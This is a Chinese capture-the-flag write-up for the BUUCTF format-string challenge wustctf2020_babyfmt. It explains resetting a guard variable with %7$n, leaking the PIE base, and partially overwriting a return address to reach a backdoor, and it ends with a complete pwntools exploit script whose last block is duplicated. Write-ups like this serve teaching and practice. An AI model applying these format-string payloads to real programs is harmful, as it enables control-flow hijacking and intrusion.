一道简单fmt题,但是我搜解题记录时,觉得解得都挺复杂的。
似乎还没有文章用我的方法,那我就写一种简单的解法。
绕过fmt判断条件
我只用到了fmt_attack函数。
由于有一个判定条件:
unsigned __int64 __fastcall fmt_attack(int *a1)
{
char format[56]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+48h] [rbp-8h]
v3 = __readfsqword(0x28u);
memset(format, 0, 0x30uLL);
if ( *a1 > 0 )
{
puts("No way!");
exit(1);
}
*a1 = 1;
read_n(format, 40LL, format);
printf(format);
return __readfsqword(0x28u) ^ v3;
因此我们每次使用该函数时,将*a1处的值改为零即可循环利用该函数。
打断点,运行到代码*a1 = 1处
单步跟进,查看rax的值(a1地址)
运行到printf函数,查看a1的偏移
算上64位6个寄存器传参,偏移量+6,则a1偏移量为7。
则我们每次利用fmt_attack函数时,加上%7$n即可令*a1=0,即可重复利用fmt_attack。
更改返回地址为后门函数地址
运行到printf函数时,栈中会有许多函数返回地址。
其中第一条为fmt_attack函数的返回地址,
第二条是main函数的返回地址(main函数执行完会执行libc_start_main函数)。
由于本题开了pie保护,我们可以用partial write 篡改第一个返回地址。
注意:后门函数直接跳转到close函数后即可。
计算elf基址:
payload = b'%7$n+%17$p'
fmt(payload)
r.recvuntil(b'+')
ret_value = int(r.recvuntil(b'\n')[:-1],16)
elf_base = ret_value-0x102c
下一步直接更改低二字节即可。
低二字节值:
(elf_base+0xf56)&0xffff
完整exp
from pwn import *
r = process('/mnt/hgfs/ubuntu/BUUCTF/wustctf2020_babyfmt')
# r = remote('node4.buuoj.cn',29629)
secret_addr =0x202060
def fmt(payload):
r.recvuntil(b">>")
r.sendline(b'2')
r.sendline(payload)
r.sendline(b'1')
r.sendline(b'2')
r.sendline(b'3')
fmt(b'%7$n-%16$p')
r.recvuntil(b'-')
ret_addr = int(r.recvuntil(b'\n')[:-1],16)-0x28
payload = b'%7$n+%17$p'
fmt(payload)
r.recvuntil(b'+')
ret_value = int(r.recvuntil(b'\n')[:-1],16)
elf_base = ret_value-0x102c
payload1 = b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%10$hn'
payload1 = payload1.ljust(0x10,b'a')
payload1+=p64(ret_addr)
fmt(payload1)
log.success("ret_value: "+hex(ret_value))
log.success("ret_addr: "+hex(ret_addr))
r.interactive()
fmt(payload1)
log.success("ret_value: "+hex(ret_value))
log.success("ret_addr: "+hex(ret_addr))
r.interactive()